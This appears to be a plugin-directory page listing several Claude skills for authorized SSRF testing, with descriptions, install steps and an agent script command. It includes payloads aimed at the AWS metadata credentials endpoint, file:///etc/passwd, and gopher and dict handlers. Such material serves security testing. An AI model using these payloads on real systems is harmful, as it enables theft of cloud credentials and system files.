Detects SSRF vulnerabilities in user-controlled URL parameters by probing AWS/GCP/Azure metadata endpoints (169.254.169.254), internal services via HTTP port scans, protocol handlers, URL bypasses, and DNS rebinding.
npx claudepluginhub killvxk/cybersecurity-skills-zhThis skill uses the workspace's default tool permissions.
1. 安装依赖：`pip install requests`
Tests SSRF vulnerabilities by probing AWS/GCP/Azure metadata endpoints (169.254.169.254), internal services, ports, protocol handlers, and bypasses like DNS rebinding via user URLs.
Tests SSRF vulnerabilities by probing AWS/GCP/Azure metadata endpoints, internal HTTP port scanning, protocol handlers, and bypasses like DNS rebinding via user-controllable URLs.
Identifies and exploits SSRF vulnerabilities in authorized pentests to access internal services, cloud metadata (AWS/GCP/Azure), and scan restricted networks using Burp Suite, interactsh, SSRFmap, and curl payloads.
Share bugs, ideas, or general feedback.
pip install requestshttp://169.254.169.254/latest/meta-data/http://127.0.0.1:port/、http://10.0.0.1/file:///etc/passwd、gopher://、dict://# 仅用于已授权的渗透测试和实验室环境
python scripts/agent.py --target-url https://app.example.com/fetch?url= --output ssrf_report.json
GET /fetch?url=http://169.254.169.254/latest/meta-data/iam/security-credentials/
如果响应中包含 AWS 凭据（AccessKeyId、SecretAccessKey），则证实存在高危 SSRF 漏洞。